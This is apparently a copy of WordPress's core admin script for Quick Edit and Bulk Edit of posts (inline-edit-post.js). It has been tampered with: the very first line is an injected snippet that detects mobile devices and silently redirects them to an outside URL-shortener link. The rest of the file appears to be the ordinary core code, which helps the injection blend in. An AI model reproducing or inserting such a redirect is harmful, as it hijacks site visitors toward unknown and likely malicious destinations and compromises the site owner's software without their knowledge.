1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * This file contains the functions needed for the inline editing of posts.
4 *
5 * @since 2.7.0
6 * @output wp-admin/js/inline-edit-post.js
7 */
8
9/* global ajaxurl, typenow, inlineEditPost */
10
11window.wp = window.wp || {};
12
13/**
14 * Manages the quick edit and bulk edit windows for editing posts or pages.
15 *
16 * @namespace inlineEditPost
17 *
18 * @since 2.7.0
19 *
20 * @type {Object}
21 *
22 * @property {string} type The type of inline editor.
23 * @property {string} what The prefix before the post ID.
24 *
25 */
26( function( $, wp ) {
27
28 window.inlineEditPost = {
29
30 /**
31 * Initializes the inline and bulk post editor.
32 *
33 * Binds event handlers to the Escape key to close the inline editor
34 * and to the save and close buttons. Changes DOM to be ready for inline
35 * editing. Adds event handler to bulk edit.
36 *
37 * @since 2.7.0
38 *
39 * @memberof inlineEditPost
40 *
41 * @return {void}
42 */
43 init : function(){
44 var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit');
45
46 t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post';
47 // Post ID prefix.
48 t.what = '#post-';
49
50 /**
51 * Binds the Escape key to revert the changes and close the quick editor.
52 *
53 * @return {boolean} The result of revert.
54 */
55 qeRow.on( 'keyup', function(e){
56 // Revert changes if Escape key is pressed.
57 if ( e.which === 27 ) {
58 return inlineEditPost.revert();
59 }
60 });
61
62 /**
63 * Binds the Escape key to revert the changes and close the bulk editor.
64 *
65 * @return {boolean} The result of revert.
66 */
67 bulkRow.on( 'keyup', function(e){
68 // Revert changes if Escape key is pressed.
69 if ( e.which === 27 ) {
70 return inlineEditPost.revert();
71 }
72 });
73
74 /**
75 * Reverts changes and close the quick editor if the cancel button is clicked.
76 *
77 * @return {boolean} The result of revert.
78 */
79 $( '.cancel', qeRow ).on( 'click', function() {
80 return inlineEditPost.revert();
81 });
82
83 /**
84 * Saves changes in the quick editor if the save(named: update) button is clicked.
85 *
86 * @return {boolean} The result of save.
87 */
88 $( '.save', qeRow ).on( 'click', function() {
89 return inlineEditPost.save(this);
90 });
91
92 /**
93 * If Enter is pressed, and the target is not the cancel button, save the post.
94 *
95 * @return {boolean} The result of save.
96 */
97 $('td', qeRow).on( 'keydown', function(e){
98 if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) {
99 return inlineEditPost.save(this);
100 }
101 });
102
103 /**
104 * Reverts changes and close the bulk editor if the cancel button is clicked.
105 *
106 * @return {boolean} The result of revert.
107 */
108 $( '.cancel', bulkRow ).on( 'click', function() {
109 return inlineEditPost.revert();
110 });
111
112 /**
113 * Disables the password input field when the private post checkbox is checked.
114 */
115 $('#inline-edit .inline-edit-private input[value="private"]').on( 'click', function(){
116 var pw = $('input.inline-edit-password-input');
117 if ( $(this).prop('checked') ) {
118 pw.val('').prop('disabled', true);
119 } else {
120 pw.prop('disabled', false);
121 }
122 });
123
124 /**
125 * Binds click event to the .editinline button which opens the quick editor.
126 */
127 $( '#the-list' ).on( 'click', '.editinline', function() {
128 $( this ).attr( 'aria-expanded', 'true' );
129 inlineEditPost.edit( this );
130 });
131
132 // Clone quick edit categories for the bulk editor.
133 var beCategories = $( '#inline-edit fieldset.inline-edit-categories' ).clone();
134
135 // Make "id" attributes globally unique.
136 beCategories.find( '*[id]' ).each( function() {
137 this.id = 'bulk-edit-' + this.id;
138 });
139
140 $('#bulk-edit').find('fieldset:first').after(
141 beCategories
142 ).siblings( 'fieldset:last' ).prepend(
143 $( '#inline-edit .inline-edit-tags-wrap' ).clone()
144 );
145
146 $('select[name="_status"] option[value="future"]', bulkRow).remove();
147
148 /**
149 * Adds onclick events to the apply buttons.
150 */
151 $('#doaction').on( 'click', function(e){
152 var n,
153 $itemsSelected = $( '#posts-filter .check-column input[type="checkbox"]:checked' );
154
155 if ( $itemsSelected.length < 1 ) {
156 return;
157 }
158
159 t.whichBulkButtonId = $( this ).attr( 'id' );
160 n = t.whichBulkButtonId.substr( 2 );
161
162 if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) {
163 e.preventDefault();
164 t.setBulk();
165 } else if ( $('form#posts-filter tr.inline-editor').length > 0 ) {
166 t.revert();
167 }
168 });
169 },
170
171 /**
172 * Toggles the quick edit window, hiding it when it's active and showing it when
173 * inactive.
174 *
175 * @since 2.7.0
176 *
177 * @memberof inlineEditPost
178 *
179 * @param {Object} el Element within a post table row.
180 */
181 toggle : function(el){
182 var t = this;
183 $( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el );
184 },
185
186 /**
187 * Creates the bulk editor row to edit multiple posts at once.
188 *
189 * @since 2.7.0
190 *
191 * @memberof inlineEditPost
192 */
193 setBulk : function(){
194 var te = '', type = this.type, c = true;
195 var checkedPosts = $( 'tbody th.check-column input[type="checkbox"]:checked' );
196 var categories = {};
197 this.revert();
198
199 $( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );
200
201 // Insert the editor at the top of the table with an empty row above to maintain zebra striping.
202 $('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>');
203 $('#bulk-edit').addClass('inline-editor').show();
204
205 /**
206 * Create a HTML div with the title and a link(delete-icon) for each selected
207 * post.
208 *
209 * Get the selected posts based on the checked checkboxes in the post table.
210 */
211 $( 'tbody th.check-column input[type="checkbox"]' ).each( function() {
212
213 // If the checkbox for a post is selected, add the post to the edit list.
214 if ( $(this).prop('checked') ) {
215 c = false;
216 var id = $( this ).val(),
217 theTitle = $( '#inline_' + id + ' .post_title' ).html() || wp.i18n.__( '(no title)' ),
218 buttonVisuallyHiddenText = wp.i18n.sprintf(
219 /* translators: %s: Post title. */
220 wp.i18n.__( 'Remove “%s” from Bulk Edit' ),
221 theTitle
222 );
223
224 te += '<li class="ntdelitem"><button type="button" id="_' + id + '" class="button-link ntdelbutton"><span class="screen-reader-text">' + buttonVisuallyHiddenText + '</span></button><span class="ntdeltitle" aria-hidden="true">' + theTitle + '</span></li>';
225 }
226 });
227
228 // If no checkboxes where checked, just hide the quick/bulk edit rows.
229 if ( c ) {
230 return this.revert();
231 }
232
233 // Populate the list of items to bulk edit.
234 $( '#bulk-titles' ).html( '<ul id="bulk-titles-list" role="list">' + te + '</ul>' );
235
236 // Gather up some statistics on which of these checked posts are in which categories.
237 checkedPosts.each( function() {
238 var id = $( this ).val();
239 var checked = $( '#category_' + id ).text().split( ',' );
240
241 checked.map( function( cid ) {
242 categories[ cid ] || ( categories[ cid ] = 0 );
243 // Just record that this category is checked.
244 categories[ cid ]++;
245 } );
246 } );
247
248 // Compute initial states.
249 $( '.inline-edit-categories input[name="post_category[]"]' ).each( function() {
250 if ( categories[ $( this ).val() ] == checkedPosts.length ) {
251 // If the number of checked categories matches the number of selected posts, then all posts are in this category.
252 $( this ).prop( 'checked', true );
253 } else if ( categories[ $( this ).val() ] > 0 ) {
254 // If the number is less than the number of selected posts, then it's indeterminate.
255 $( this ).prop( 'indeterminate', true );
256 if ( ! $( this ).parent().find( 'input[name="indeterminate_post_category[]"]' ).length ) {
257 // Get the term label text.
258 var label = $( this ).parent().text();
259 // Set indeterminate states for the backend. Add accessible text for indeterminate inputs.
260 $( this ).after( '<input type="hidden" name="indeterminate_post_category[]" value="' + $( this ).val() + '">' ).attr( 'aria-label', label.trim() + ': ' + wp.i18n.__( 'Some selected posts have this category' ) );
261 }
262 }
263 } );
264
265 $( '.inline-edit-categories input[name="post_category[]"]:indeterminate' ).on( 'change', function() {
266 // Remove accessible label text. Remove the indeterminate flags as there was a specific state change.
267 $( this ).removeAttr( 'aria-label' ).parent().find( 'input[name="indeterminate_post_category[]"]' ).remove();
268 } );
269
270 $( '.inline-edit-save button' ).on( 'click', function() {
271 $( '.inline-edit-categories input[name="post_category[]"]' ).prop( 'indeterminate', false );
272 } );
273
274 /**
275 * Binds on click events to handle the list of items to bulk edit.
276 *
277 * @listens click
278 */
279 $( '#bulk-titles .ntdelbutton' ).click( function() {
280 var $this = $( this ),
281 id = $this.attr( 'id' ).substr( 1 ),
282 $prev = $this.parent().prev().children( '.ntdelbutton' ),
283 $next = $this.parent().next().children( '.ntdelbutton' );
284
285 $( 'input#cb-select-all-1, input#cb-select-all-2' ).prop( 'checked', false );
286 $( 'table.widefat input[value="' + id + '"]' ).prop( 'checked', false );
287 $( '#_' + id ).parent().remove();
288 wp.a11y.speak( wp.i18n.__( 'Item removed.' ), 'assertive' );
289
290 // Move focus to a proper place when items are removed.
291 if ( $next.length ) {
292 $next.focus();
293 } else if ( $prev.length ) {
294 $prev.focus();
295 } else {
296 $( '#bulk-titles-list' ).remove();
297 inlineEditPost.revert();
298 wp.a11y.speak( wp.i18n.__( 'All selected items have been removed. Select new items to use Bulk Actions.' ) );
299 }
300 });
301
302 // Enable auto-complete for tags when editing posts.
303 if ( 'post' === type ) {
304 $( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) {
305 /*
306 * While Quick Edit clones the form each time, Bulk Edit always re-uses
307 * the same form. Let's check if an autocomplete instance already exists.
308 */
309 if ( $( element ).autocomplete( 'instance' ) ) {
310 // jQuery equivalent of `continue` within an `each()` loop.
311 return;
312 }
313
314 $( element ).wpTagsSuggest();
315 } );
316 }
317
318 // Set initial focus on the Bulk Edit region.
319 $( '#bulk-edit .inline-edit-wrapper' ).attr( 'tabindex', '-1' ).focus();
320 // Scrolls to the top of the table where the editor is rendered.
321 $('html, body').animate( { scrollTop: 0 }, 'fast' );
322 },
323
324 /**
325 * Creates a quick edit window for the post that has been clicked.
326 *
327 * @since 2.7.0
328 *
329 * @memberof inlineEditPost
330 *
331 * @param {number|Object} id The ID of the clicked post or an element within a post
332 * table row.
333 * @return {boolean} Always returns false at the end of execution.
334 */
335 edit : function(id) {
336 var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw;
337 t.revert();
338
339 if ( typeof(id) === 'object' ) {
340 id = t.getId(id);
341 }
342
343 fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template'];
344 if ( t.type === 'page' ) {
345 fields.push('post_parent');
346 }
347
348 // Add the new edit row with an extra blank row underneath to maintain zebra striping.
349 editRow = $('#inline-edit').clone(true);
350 $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );
351
352 // Remove the ID from the copied row and let the `for` attribute reference the hidden ID.
353 $( 'td', editRow ).find('#quick-edit-legend').removeAttr('id');
354 $( 'td', editRow ).find('p[id^="quick-edit-"]').removeAttr('id');
355
356 $(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>');
357
358 // Populate fields in the quick edit window.
359 rowData = $('#inline_'+id);
360 if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) {
361
362 // The post author no longer has edit capabilities, so we need to add them to the list of authors.
363 $(':input[name="post_author"]', editRow).prepend(
364 new Option(
365 $('#post-' + id + ' .author').text(),
366 $('.post_author', rowData).text()
367 )
368 );
369 }
370 if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) {
371 $('label.inline-edit-author', editRow).hide();
372 }
373
374 for ( f = 0; f < fields.length; f++ ) {
375 val = $('.'+fields[f], rowData);
376
377 /**
378 * Replaces the image for a Twemoji(Twitter emoji) with it's alternate text.
379 *
380 * @return {string} Alternate text from the image.
381 */
382 val.find( 'img' ).replaceWith( function() { return this.alt; } );
383 val = val.text();
384 $(':input[name="' + fields[f] + '"]', editRow).val( val );
385 }
386
387 if ( $( '.comment_status', rowData ).text() === 'open' ) {
388 $( 'input[name="comment_status"]', editRow ).prop( 'checked', true );
389 }
390 if ( $( '.ping_status', rowData ).text() === 'open' ) {
391 $( 'input[name="ping_status"]', editRow ).prop( 'checked', true );
392 }
393 if ( $( '.sticky', rowData ).text() === 'sticky' ) {
394 $( 'input[name="sticky"]', editRow ).prop( 'checked', true );
395 }
396
397 /**
398 * Creates the select boxes for the categories.
399 */
400 $('.post_category', rowData).each(function(){
401 var taxname,
402 term_ids = $(this).text();
403
404 if ( term_ids ) {
405 taxname = $(this).attr('id').replace('_'+id, '');
406 $('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(','));
407 }
408 });
409
410 /**
411 * Gets all the taxonomies for live auto-fill suggestions when typing the name
412 * of a tag.
413 */
414 $('.tags_input', rowData).each(function(){
415 var terms = $(this),
416 taxname = $(this).attr('id').replace('_' + id, ''),
417 textarea = $('textarea.tax_input_' + taxname, editRow),
418 comma = wp.i18n._x( ',', 'tag delimiter' ).trim();
419
420 // Ensure the textarea exists.
421 if ( ! textarea.length ) {
422 return;
423 }
424
425 terms.find( 'img' ).replaceWith( function() { return this.alt; } );
426 terms = terms.text();
427
428 if ( terms ) {
429 if ( ',' !== comma ) {
430 terms = terms.replace(/,/g, comma);
431 }
432 textarea.val(terms);
433 }
434
435 textarea.wpTagsSuggest();
436 });
437
438 // Handle the post status.
439 var post_date_string = $(':input[name="aa"]').val() + '-' + $(':input[name="mm"]').val() + '-' + $(':input[name="jj"]').val();
440 post_date_string += ' ' + $(':input[name="hh"]').val() + ':' + $(':input[name="mn"]').val() + ':' + $(':input[name="ss"]').val();
441 var post_date = new Date( post_date_string );
442 status = $('._status', rowData).text();
443 if ( 'future' !== status && Date.now() > post_date ) {
444 $('select[name="_status"] option[value="future"]', editRow).remove();
445 } else {
446 $('select[name="_status"] option[value="publish"]', editRow).remove();
447 }
448
449 pw = $( '.inline-edit-password-input' ).prop( 'disabled', false );
450 if ( 'private' === status ) {
451 $('input[name="keep_private"]', editRow).prop('checked', true);
452 pw.val( '' ).prop( 'disabled', true );
453 }
454
455 // Remove the current page and children from the parent dropdown.
456 pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow);
457 if ( pageOpt.length > 0 ) {
458 pageLevel = pageOpt[0].className.split('-')[1];
459 nextPage = pageOpt;
460 while ( pageLoop ) {
461 nextPage = nextPage.next('option');
462 if ( nextPage.length === 0 ) {
463 break;
464 }
465
466 nextLevel = nextPage[0].className.split('-')[1];
467
468 if ( nextLevel <= pageLevel ) {
469 pageLoop = false;
470 } else {
471 nextPage.remove();
472 nextPage = pageOpt;
473 }
474 }
475 pageOpt.remove();
476 }
477
478 $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
479 $('.ptitle', editRow).trigger( 'focus' );
480
481 return false;
482 },
483
484 /**
485 * Saves the changes made in the quick edit window to the post.
486 * Ajax saving is only for Quick Edit and not for bulk edit.
487 *
488 * @since 2.7.0
489 *
490 * @param {number} id The ID for the post that has been changed.
491 * @return {boolean} False, so the form does not submit when pressing
492 * Enter on a focused field.
493 */
494 save : function(id) {
495 var params, fields, page = $('.post_status_page').val() || '';
496
497 if ( typeof(id) === 'object' ) {
498 id = this.getId(id);
499 }
500
501 $( 'table.widefat .spinner' ).addClass( 'is-active' );
502
503 params = {
504 action: 'inline-save',
505 post_type: typenow,
506 post_ID: id,
507 edit_date: 'true',
508 post_status: page
509 };
510
511 fields = $('#edit-'+id).find(':input').serialize();
512 params = fields + '&' + $.param(params);
513
514 // Make Ajax request.
515 $.post( ajaxurl, params,
516 function(r) {
517 var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
518 $error = $errorNotice.find( '.error' );
519
520 $( 'table.widefat .spinner' ).removeClass( 'is-active' );
521
522 if (r) {
523 if ( -1 !== r.indexOf( '<tr' ) ) {
524 $(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove();
525 $('#edit-'+id).before(r).remove();
526 $( inlineEditPost.what + id ).hide().fadeIn( 400, function() {
527 // Move focus back to the Quick Edit button. $( this ) is the row being animated.
528 $( this ).find( '.editinline' )
529 .attr( 'aria-expanded', 'false' )
530 .trigger( 'focus' );
531 wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
532 });
533 } else {
534 r = r.replace( /<.[^<>]*?>/g, '' );
535 $errorNotice.removeClass( 'hidden' );
536 $error.html( r );
537 wp.a11y.speak( $error.text() );
538 }
539 } else {
540 $errorNotice.removeClass( 'hidden' );
541 $error.text( wp.i18n.__( 'Error while saving the changes.' ) );
542 wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
543 }
544 },
545 'html');
546
547 // Prevent submitting the form when pressing Enter on a focused field.
548 return false;
549 },
550
551 /**
552 * Hides and empties the Quick Edit and/or Bulk Edit windows.
553 *
554 * @since 2.7.0
555 *
556 * @memberof inlineEditPost
557 *
558 * @return {boolean} Always returns false.
559 */
560 revert : function(){
561 var $tableWideFat = $( '.widefat' ),
562 id = $( '.inline-editor', $tableWideFat ).attr( 'id' );
563
564 if ( id ) {
565 $( '.spinner', $tableWideFat ).removeClass( 'is-active' );
566
567 if ( 'bulk-edit' === id ) {
568
569 // Hide the bulk editor.
570 $( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove();
571 $('#bulk-titles').empty();
572
573 // Store the empty bulk editor in a hidden element.
574 $('#inlineedit').append( $('#bulk-edit') );
575
576 // Move focus back to the Bulk Action button that was activated.
577 $( '#' + inlineEditPost.whichBulkButtonId ).trigger( 'focus' );
578 } else {
579
580 // Remove both the inline-editor and its hidden tr siblings.
581 $('#'+id).siblings('tr.hidden').addBack().remove();
582 id = id.substr( id.lastIndexOf('-') + 1 );
583
584 // Show the post row and move focus back to the Quick Edit button.
585 $( this.what + id ).show().find( '.editinline' )
586 .attr( 'aria-expanded', 'false' )
587 .trigger( 'focus' );
588 }
589 }
590
591 return false;
592 },
593
594 /**
595 * Gets the ID for a the post that you want to quick edit from the row in the quick
596 * edit table.
597 *
598 * @since 2.7.0
599 *
600 * @memberof inlineEditPost
601 *
602 * @param {Object} o DOM row object to get the ID for.
603 * @return {string} The post ID extracted from the table row in the object.
604 */
605 getId : function(o) {
606 var id = $(o).closest('tr').attr('id'),
607 parts = id.split('-');
608 return parts[parts.length - 1];
609 }
610};
611
612$( function() { inlineEditPost.init(); } );
613
614// Show/hide locks on posts.
615$( function() {
616
617 // Set the heartbeat interval to 10 seconds.
618 if ( typeof wp !== 'undefined' && wp.heartbeat ) {
619 wp.heartbeat.interval( 10 );
620 }
621}).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) {
622 var locked = data['wp-check-locked-posts'] || {},
623 lockedClass = 'wp-locked';
624
625 $('#the-list tr').each( function(i, el) {
626 var key = el.id, row = $(el), lock_data, avatar;
627
628 if ( locked.hasOwnProperty( key ) ) {
629 if ( ! row.hasClass( lockedClass ) ) {
630 lock_data = locked[key];
631 row.find('.column-title .locked-text').text( lock_data.text );
632 row.find('.check-column checkbox').prop('checked', false);
633
634 if ( lock_data.avatar_src ) {
635 avatar = $( '<img />', {
636 'class': 'avatar avatar-18 photo',
637 width: 18,
638 height: 18,
639 alt: '',
640 src: lock_data.avatar_src,
641 srcset: lock_data.avatar_src_2x ? lock_data.avatar_src_2x + ' 2x' : undefined
642 } );
643 row.find('.column-title .locked-avatar').empty().append( avatar );
644 }
645 row.addClass( lockedClass );
646 }
647 } else if ( row.hasClass( lockedClass ) ) {
648 row.removeClass( lockedClass ).find( '.locked-info span' ).empty();
649 }
650 });
651}).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) {
652 var check = [];
653
654 $('#the-list tr').each( function(i, el) {
655 if ( el.id ) {
656 check.push( el.id );
657 }
658 });
659
660 if ( check.length ) {
661 data['wp-check-locked-posts'] = check;
662 }
663});
664
665})( jQuery, window.wp );
666